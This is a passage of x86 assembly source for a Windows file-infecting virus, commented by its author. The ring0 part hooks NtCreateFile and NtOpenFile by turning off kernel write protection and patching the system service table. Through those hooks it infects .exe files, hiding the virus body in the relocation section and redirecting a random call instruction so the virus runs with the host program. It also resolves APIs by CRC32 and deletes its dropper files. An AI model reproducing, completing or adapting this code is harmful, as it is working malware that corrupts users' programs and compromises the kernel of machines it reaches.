callz FreeLibrarys                                      ;free librarys loaded.
or ebp,ebp                                                      ;first generation exit, ExitProcess.
jnz gen2Exit
push 0
```

```
call ExitProcess
gen2Exit:
mov eax,[ebp + EntryPoint]
mov dword ptr [ebp + dirHook],eax
popfd
popad
push 12345678h
dirHook equ $-4
ret
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
SysAlreadyInfected:
lea esi,[ebp + win32kfuck]
push esi
mov eax,[ebp + NtKernel]                ;deleting win32k.fuck if it would exist
GezApi eax,DeleteFileACRC,DFNameLen
call eax
jmpz Exit
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Entry Point Of Virus when is executed in ring0.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

EPointSystem:                      ;Ring0 Code
;;;;;;;;;;;;;

push 00000000h                   ;This space in stack will be filled with the entry point
                                           ;address of win32k.sys
pushfd
pushad

;;;;;;;;;;;;;;;;;;;;;;;;
callz R0_Doff                      ;i calculate delta offset.
R0_Doff:
pop ebp
sub ebp,offset R0_Doff
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + EPointSystem]     ;our target is to search image base of win32k.sys in memory.
xor ax,ax                        ;hardcoded would be 0A0000000h in my system.
add eax,1000h
SearchBaseImage:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchBaseImage
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + EntryPointWin32ksys]     ;We have the old entry point and the image base
add ebx,eax                             ;so we have the entry point address. We put
mov [esp + cPushad + cPushfd],ebx       ;that entry point after pushad and pushfd bytes
;;;;;;;;;;;;;;;;;;;;;;;;                    ;in stack for using ret instruction later and
                                                    ;for jumping entry point of win32k.sys


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[esp + cPushad + cPushfd + 4] ;address in stack of a zone of ntoskrnl(in function
xor ax,ax                                ;ExCreateCallback).With this address we will get
add  eax,1000h                           ;ntoskrnl base addr
;eax -> a part of ntoskrnl
SearchNtoskrnl:
sub  eax,1000h
cmp  word ptr [eax],'ZM'
jne  SearchNtoskrnl
;eax -> base of ntoskrnl
mov [ebp + Ntoskrnl],eax
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
;now we will get somethings that will be useful for hooking NtCreateFile...SSDT address,
;syscall number of NtCreateFile, ....
;There is a undocumented entry in the export table of ntoskrnl, KeServiceDescriptorTable,
;and this entry is the key for accessing the system service dispatch table where we must
;patch for hooking a service(NtCreateFile for example ;)
;KeServiceDescriptorTable points to a structure like this:
;     {
;         DWORD ServiceTableBase         - pointer to system service dispatch table(SSDT)
;       DWORD ServiceCounterTable      - not important for us
;       DWORD NumberOfServices         - number of services in system service dispatch table
;         DWORD ParamTableBase           - pointer to system service parameter table(SSPT)
;       }
;
;We want to get the number of the NtCreateFile service and then we search in this table
;and we patch the address of NtCreateFile rutine with a address of our code
```

```
;;;;;;;;;;;;;;;;;;;;;;;;
;eax = ntoskrnl base
GezApi eax,KeServiceDescriptorTableCRC,KSDTNameLen
mov [ebp + KeServiceDescriptorTable],eax
;;;;;;;;;;;;;;;;;;;;;;;;

;ill get SSDT from that service descriptor table

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[eax]
mov [ebp + SSDT],eax
;;;;;;;;;;;;;;;;;;;;;;;;

;now ill get from ntoskrnl the addr of NtCreateFile

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezApi eax,NtCreateFileCRC,NCFNameLen
mov [ebp + NtCreateFileAddr],eax
;;;;;;;;;;;;;;;;;;;;;;;;

;Ill get service ID from ZwCreateFile

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezSyscall eax,ZwCreateFileCRC,ZCFNameLen
;;;;;;;;;;;;;;;;;;;;;;;;

;now ill search in the SSDT the address of the entry of NtCreateFile where we will hook

;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + SSDT]
;ebx + eax*4 -> entry
shl eax,2
add ebx,eax
;ebx -> entry
mov [ebp + NtCreateFileEntryAddr],ebx
;;;;;;;;;;;;;;;;;;;;;;;;


;and with NtOpenFile same thing

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezApi eax,NtOpenFileCRC,NOFNameLen
mov [ebp + NtOpenFileAddr],eax
;;;;;;;;;;;;;;;;;;;;;;;;


;Ill get service ID from ZwOpenFile

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezSyscall eax,ZwOpenFileCRC,ZOFNameLen
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + SSDT]
;ebx + eax*4 -> entry
shl eax,2
add ebx,eax
;ebx -> entry
mov [ebp + NtOpenFileEntryAddr],ebx
;;;;;;;;;;;;;;;;;;;;;;;;

;We hook NtCreateFile and NtOpenFile



;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,cr0                                     ;we set write protect flag to 1, and in this
push eax                                        ;supervision of writing readonly mem is disabled
or eax,00010000h                                ;We do this for writing SSDT coz is possible (under
mov cr0,eax                                     ;XP is default) SSDT is read only.
                                                ;(Thx Ratter ;)
;;;;;;;;;;;;;;;;;;;;;;;;




;;;
;Note in the next inst we get the service ID of NtCreateFile and NtOpenFile from Zws funcions
;of them. I got it searching NtCreateFile and NtOpenFile in ntoskrnl and scanning SSDT
;comparing with entrys and when is the same value that is the entry.Ratter said me the problem
;of this: NtOpenFile or NtCreateFile could be previosly hooked and with this method this
;will not work( Thx again Ratter :)

;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + NtCreateFileEntryAddr]
lea eax,[ebp + NtCreateFileHookRutine]
mov [ebx],eax                                   ;in this moment we HOOK NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + NtOpenFileEntryAddr]
lea eax,[ebp + NtOpenFileHookRutine]
```

```
mov [ebx],eax                                           ;in this moment we HOOK NtOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
pop eax                                         ;we restore WP flag to original value
mov cr0,eax
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
callz GetApisRing0                        ;ill get some apis for no calling all time GezApi
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
callz DeleteWin32ksy                            ;i must delete win32k.sy if still not deleted
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
callz PayloadRing0
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
ReturnWin32ksys:
popad
popfd
ret             ;previosly i moved entry point adress of win32k.sys at position in stack
                        ;so this ret will fill eip with start point of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

NtOpenFileHookRutine:
;;;;;;;;;;;;;;;;;;;;;

pushfd
pushad

;;;;;;;;;;;;;;;;;;;;;;;;
callz doff_hookOF                       ;delta offset
doff_hookOF:
pop ebp
sub ebp,offset doff_hookOF
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtOpenFileAddr]
mov [ebp + HookRealAddr],eax   ;we put the jump to real code of NtOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
jmpz GeneralCodeForInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;


;NTSTATUS NtOpenFile(
;                             OUT PHANDLE FileHandle,
;                             IN ACCESS_MASK DesiredAccess,
;                             IN POBJECT_ATTRIBUTES ObjectAttributes,
;                             OUT PIO_STATUS_BLOCK IoStatusBlock,
;                             IN ULONG ShareAccess,
;                             IN ULONG OpenOptions
;                          );


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
NtCreateFileHookRutine:

pushfd
pushad

;;;;;;;;;;;;;;;;;;;;;;;;
callz doff_hookCF                       ;delta offset
doff_hookCF:
pop ebp
sub ebp,offset doff_hookCF
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtCreateFileAddr]
mov [ebp + HookRealAddr],eax   ;we put the jump to real code of NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;


;NTSTATUS NtCreateFile(
;                             OUT PHANDLE FileHandle,
;                             IN ACCESS_MASK DesiredAccess,
;                             IN POBJECT_ATTRIBUTES ObjectAttributes,
;                             OUT PIO_STATUS_BLOCK IoStatusBlock,
;                             IN PLARGE_INTEGER AllocationSize OPTIONAL,
;                             IN ULONG FileAttributes,
```

```
;                            IN ULONG ShareAccess,
;                            IN ULONG CreateDisposition,
;                            IN ULONG CreateOptions,
;                            IN ULONG EaBuffer OPTIONAL,
;                            IN ULONG EaLength
;                    );
;

;this only for NtCreateFile:

;;;;;;;;;;;;;;;;;;;;;;;;
;i get some datas from parameters
mov eax,[esp + cPushad + cPushfd + 4 + 14h]
mov [ebp + AttributesFileRing0],eax        ;i get the attributes of file
mov eax,[esp + cPushad + cPushfd + 4 + 1ch]
mov [ebp + CreateDispositionFileRing0],eax   ;i get manner for opening the file
mov eax,[esp + cPushad + cPushfd + 4 + 20h]
mov [ebp + CreateOptionsFileRing0],eax             ;i get some more flags relative
;;;;;;;;;;;;;;;;;;;;;;;;                            ;to manner of opening the file


;;;;;;;;;;;;;;;;;;;;;;;;
;I want a existing file non directory
test dword ptr [ebp + CreateDispositionFileRing0],FILE_OPEN
jz StopInfectionRing0
;test dword ptr [ebp + CreateOptionsFileRing0],FILE_NON_DIRECTORY_FILE
;jz StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
;jmpz GeneralCodeForInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

GeneralCodeForInfectionRing0:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
callz UnhookWhile                                ;ill unhook apis while hooking rutine coz for example
;;;;;;;;;;;;;;;;;;;;;;;;                  ;if we call ZwOpenFile we will go to a infinite loop



;OBJECT_ATTRIBUTES {
;                            ULONG Length;
;                            PUNICODE_STRING ObjectName;
;                            HANDLE RootDirectory;
;                            PSECURITY_DESCRIPTOR SecurityDescriptor;
;                            PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
;                            ULONG Attributes;
;                        }
;
;UNICODE_STRING    {
;                            USHORT Length;     ;len in bytes of Buffer
;                            USHORT MaximumLength;
;                            PWSTR Buffer;
;                      }
;note if RootDirectory parameter is null,ObjectName has a fully qualified file specification,
;path+name,but if RootDirectory is non null,then ObjectName has only the name of the object
;relative to RootDirectory directory.
;when we call NtOpenFile we must use both RootDirectory and ObjectName.


;;;;;;;;;;;;;;;;;;;;;;;;
;Ill get the file name of the file i want to infect
mov edi,[esp + cPushad + cPushfd + 4 + 8]    ;edi -> ObjectAttributes
mov eax,[edi + 4]                                ;eax = RootDirectory
mov [ebp + RootDirectoryRing0],eax
mov esi,[edi + 8]                                        ;esi -> unicode string of the name
mov eax,[esi]
mov dword ptr [ebp + FileNameRing0],eax
lea edi,[ebp + StringRing0]                      ;edi -> our buffer for unicode string of name
mov dword ptr [ebp + FileNameRing0 + 4],edi
movzx ecx,word ptr [esi]                         ;ecx =  long of unicode string
mov esi,[esi + 4]
rep movsb                                                ;i copy the buffer
;;;;;;;;;;;;;;;;;;;;;;;;



;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv |quitar esto| vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
movzx ecx,word ptr [ebp + FileNameRing0]
mov eax,dword ptr [ebp + FileNameRing0 + 4]
add eax,ecx
dec eax
dec eax
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'x'
jne StopInfectionRing0
dec eax
```

```
dec eax
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'.'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |quitar esto| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^



;;;;;;;;;;;;;;;;;;;;;;;;
movzx ecx,word ptr [ebp + FileNameRing0]           ;I test if file is a .exe file
mov eax,dword ptr [ebp + FileNameRing0 + 4]
add eax,ecx
dec eax
dec eax
or  byte ptr [eax],20h
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
or  byte ptr [eax],20h
cmp byte ptr [eax],'x'
jne StopInfectionRing0
dec eax
dec eax
or  byte ptr [eax],20h
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'.'
jne StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
callz MapFileRing0                          ;map the file for infection ;)
or eax,eax
jz StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,eax
;ebx = Base of Mapped File
cmp word ptr [ebx],'ZM'
jne CloseAndStopInfectionRing0
mov edi,[ebx + 3ch]
add edi,ebx
;edi -> PE
cmp word ptr [edi],'EP'
jne CloseAndStopInfectionRing0
cmp word ptr [edi + 8],'zs'
je  CloseAndStopInfectionRing0  ;is it already infected?
mov ax,word ptr [edi + 16h]
test ax,00000002h                                   ;yes IMAGE_FILE_EXECUTABLE_IMAGE
je CloseAndStopInfectionRing0
test ax,00001000h                          ;no IMAGE_FILE_SYSTEM
jne CloseAndStopInfectionRing0
test ax,00002000h                                   ;no IMAGE_FILE_DLL
jne CloseAndStopInfectionRing0
mov ax,[edi + 5ch]
test ax,00000001h                            ;no IMAGE_SUBSYSTEM_NATIVE
jne CloseAndStopInfectionRing0

;ebx->MZ
;edi->PE
;;;;;;;;;;;;;;;;;;;;;;;;
;we will search EPoint of file
mov edx,[edi + 28h]
;edx = RVA epoint,we need the pointer to raw data
movzx ecx,word ptr [edi + 6]
mov eax,edi
add eax,0F8h-28h ;sections
inc ecx
GoToSectionEPointInfectionRing0:
dec ecx
or ecx,ecx
jz CloseAndStopInfectionRing0
add eax,28h
cmp dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress],edx
jnle GoToSectionEPointInfectionRing0
mov esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress]
add esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData]
cmp edx,esi
```

```
jnl GoToSectionEPointInfectionRing0
;eax->.text section header
mov dword ptr [ebp + textSecHeader],eax
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
;now we will search relocs section
mov edx,[edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_VirtualAddress]
movzx ecx,word ptr [edi + 6]
mov eax,edi
add eax,0F8h-28h ;sections
inc ecx
GoToSectionRelocInfectionRing0:
dec ecx
or ecx,ecx
jz CloseAndStopInfectionRing0
add eax,28h
cmp dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress],edx
jnle GoToSectionRelocInfectionRing0
mov esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress]
add esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData]
cmp edx,esi
jnl GoToSectionRelocInfectionRing0
;eax->.reloc section header
mov dword ptr [ebp + relocSecHeader],eax
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
;ebx->MZ
;edi->PE
mov [ebp + HostMZ],ebx
mov [ebp + HostPE],edi
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
;Getting a offset for the virus
mov eax,[eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData]
push eax
call randRing0
;eax = rand value 0...(size of reloc section)/2
pop edx
sub edx,eax ;edx = size for vx
cmp edx,tamvirus
jb  CloseAndStopInfectionRing0
mov edx,[ebp + relocSecHeader]
mov edx,[edx.IMAGE_SECTION_HEADER.SH_PointerToRawData]
add edx,eax
mov [ebp + OffsetVirus],edx ;we will put the virus in reloc section + rand value
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
;Getting RVA virus
mov ebx,[ebp + relocSecHeader]
mov edx,[ebx.IMAGE_SECTION_HEADER.SH_PointerToRawData]
mov eax,[ebx.IMAGE_SECTION_HEADER.SH_VirtualAddress]
sub eax,edx
mov edx,[ebp + OffsetVirus]
add edx,eax
mov [ebp + RVAVirus],edx
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
;Erasing RVA and size in data directory for relocs
mov edi,[ebp + HostPE]
mov dword ptr [edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_VirtualAddress],00000000h
mov dword ptr [edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_Size],00000000h
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + textSecHeader]
mov edx,[eax.IMAGE_SECTION_HEADER.SH_PointerToRawData]
push edx
mov eax,[eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData]
add edx,eax
add edx,dword ptr [ebp + HostMZ]
mov [ebp + TextSecEnd],edx
call randRing0
pop edx
;edx = PointerToRawData Text Section
;eax = rand value 0...SizeOfRawData/2
add edx,eax
add edx,dword ptr [ebp + HostMZ]
;;;;;;;;;;;;;;;;;;;;;;;;


;Super's Theory:
;
;       When u jump a random number of bytes in a buffer of code its possible u will
;       jump to a zone between instruction. For example: E8 11 22 33 44 its possible
;       in a random jump you will stay pointing 11 or 22 instead instruction opcode E8.
;       but its possible redrive ur pointer to opcodes doing a route over the code
;       getting instruction lengths and adding them to your pointer, 16 times at max.
```

```
;       Then u will be in opcodes sure.

;edx = pointer

;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + tbl]
push eax
call disasm_init
pop eax;clean stack

RedrivePointer:

inc edx
mov eax,dword ptr [ebp + TextSecEnd]
sub eax,50
cmp eax,edx
jl CloseAndStopInfectionRing0
mov ecx,16

goodInsContinue:
push edx
lea eax,[ebp + tbl]
push eax
call disasm_main
pop esi
pop esi
add edx,eax
or eax,eax
jz RedrivePointer
mov eax,dword ptr [ebp + TextSecEnd]
sub eax,50
cmp eax,edx
jl CloseAndStopInfectionRing0
loop goodInsContinue
;;;;;;;;;;;;;;;;;;;;;;;;


;well,if all was as we want,we are pointing to a good opcode

;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,edx
call SearchCall
or eax,eax
jz CloseAndStopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
;ebx -> E8 XX XX XX XX
;the VA of the call is ebx + 5 + (XX XX XX XX)

mov edx,[ebp + textSecHeader]
mov eax,[edx.IMAGE_SECTION_HEADER.SH_VirtualAddress]
sub eax,[edx.IMAGE_SECTION_HEADER.SH_PointerToRawData]
add eax,ebx
sub eax,[ebp + HostMZ]
;eax RVA of E8 XX XX XX XX
push eax
add eax,[ebx + 1]
add eax,5

;eax = RVA of call pointing addr
;we will put in EntryPoint variable the VA of the call. When ring3 part of virus returned
;to host it will jmp to the content of this variable.

mov edi,[ebp + HostPE]
add eax,[edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_ImageBase]
;eax=VA of call pointing addr
mov [ebp + EntryPoint],eax

pop eax
;eax RVA of E8 XX XX XX XX
mov edx,[ebp + RVAVirus]
add eax,5
sub edx,eax
;we patch the call for pointing our code
mov [ebx+1],edx
;if all well,the call is calling the virus,and the virus will pass the control where the
;call was calling before patching...EPO
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
;the virus will be writed in the host,at offset = OffsetVirus
;we must search a call for patching with a call to virus
mov edx,[ebp + HostMZ] ;MZ
mov ebx,[ebp + HostPE] ;PE
mov edi,edx
add edi,[ebp + OffsetVirus]
lea esi,[ebp + svirus]
mov ecx,tamvirus
rep movsb
mov word ptr [ebx + 8],'zs'
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
CloseAndStopInfectionRing0:                ;close and bye
callz CloseAllRing0
```

```
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
StopInfectionRing0:
callz RehookAgain
popad
popfd
push 12345678h
HookRealAddr = dword ptr  $ - 4
ret
;;;;;;;;;;;;;;;;;;;;;;;;


textSecHeader  dd 0
relocSecHeader dd 0
relocRVA           dd 0
OffsetVirus    dd 0
HostMZ     dd 0
HostPE     dd 0
RVAVirus           dd 0
TextSecEnd     dd 0

;;;;;;;;;;;;;;;;;;;;;;;;
;randRing0: this funcion will generate a ramdom number gived a size
;parameters:
; eax = size The number will be generated 0...size
randRing0:
push eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,KeQueryTickCountCRC,KQTCNameLen
lea ebx,[ebp + randvalue]
push ebx
call eax
mov edx,[ebp + randvalue]
pop eax
;eax = size
;edx = TickCount
and edx,000000FFh
mov ecx,edx
shl ecx,8
or  edx,ecx
mov ecx,edx
shl ecx,16
or  edx,ecx
and edx,eax
cmp edx,eax
jg  randRing0
mov eax,edx
shr eax,1
ret
randvalue dd 0
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
;randRing3: this funcion will generate a ramdom number gived a size
;parameters:
; eax = size The number will be generated 0...size
randRing3:
push eax
mov eax,[ebp + NtKernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov edx,eax
pop eax
;eax = size
;edx = TickCount
and edx,000000FFh
mov ecx,edx
shl ecx,8
or  edx,ecx
mov ecx,edx
shl ecx,16
or  edx,ecx
and edx,eax
cmp edx,eax
jg  randRing3
mov eax,edx
shr eax,1
ret
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
                                        ;;;;;;;;FUNCTIONS;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;SECOND VERSION IMPROVEMENT: we will add zombie length disassembler engine for getting
;a good EPO infection :D (thx z0mbie...we didnt say u if we could to use your lde but
;we thought this is a good purpose so you would be agree ;)
```

```
include lde32bin.inc ; LDE32 code

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;SearchCall: this function will search a call instruction given a buffer with code.
;in:ebx->buffer with code
;
;The function will return eax = 0 if error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SearchCall:

lea esi,[ebp + tbl]
push esi
call disasm_init
pop esi;clean stack
xor eax,eax

LoopSearchCall:
inc eax
or eax,eax
jz FoundCall
cmp byte ptr [ebx],0E8h
je FoundCall
push ebx
lea esi,[ebp + tbl]
push esi
call disasm_main
pop esi
pop esi
add ebx,eax
jmp LoopSearchCall
FoundCall:
ret

tbl db 2048 dup (?)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take
;his rutine but i dont know him...in addition i have seen this rutine in other viruses
;so i think he doesnt go angry if i use it :)
;
;in:esi -> start of buffer
;   edi = size of buffer
;out:
;   eax = cksum
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CRC32:

        cld
      xor     ecx,ecx
      dec     ecx
        mov     edx,ecx
NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
      xor     al,cl
      mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
NoCRC:
      dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
      dec     edi
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetApi gets a api address from its crc.
;in:
;   eax -> base of dll
;   edx = the crc32 of api to search.
;   ebx = api name len.
;out:
;   eax -> function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApi:

;eax -> base of dll
```

```
;ebx = len api name
;edx = crc of api name
push ebx ecx edx esi edi
push eax
mov eax,[eax + 3ch]
add eax,dword ptr [esp]
;eax -> PE
mov eax,[eax + 78h]
add eax,dword ptr [esp]
;eax -> Export table
push eax
push ebx
mov  ebx,[eax + 20h]
add  ebx,dword ptr [esp + 8]
;ebx -> Name of functions
push ebx
sub  ebx,4
SearchApiByCRC:
add  ebx,4
mov  esi,[ebx]
add  esi,dword ptr [esp + 12]
CalcLenString
;ecx = length api.name
mov  edi,[esp + 4]
cmp  edi,ecx
jne  SearchApiByCRC
mov  edi,ecx
push ebx
push edx
callz CRC32
pop  edx
pop  ebx
cmp  eax,edx
jne  SearchApiByCRC
pop  edi
;edi -> name of functions
;ebx -> name of functions + (index of our api * 4)
sub ebx,edi
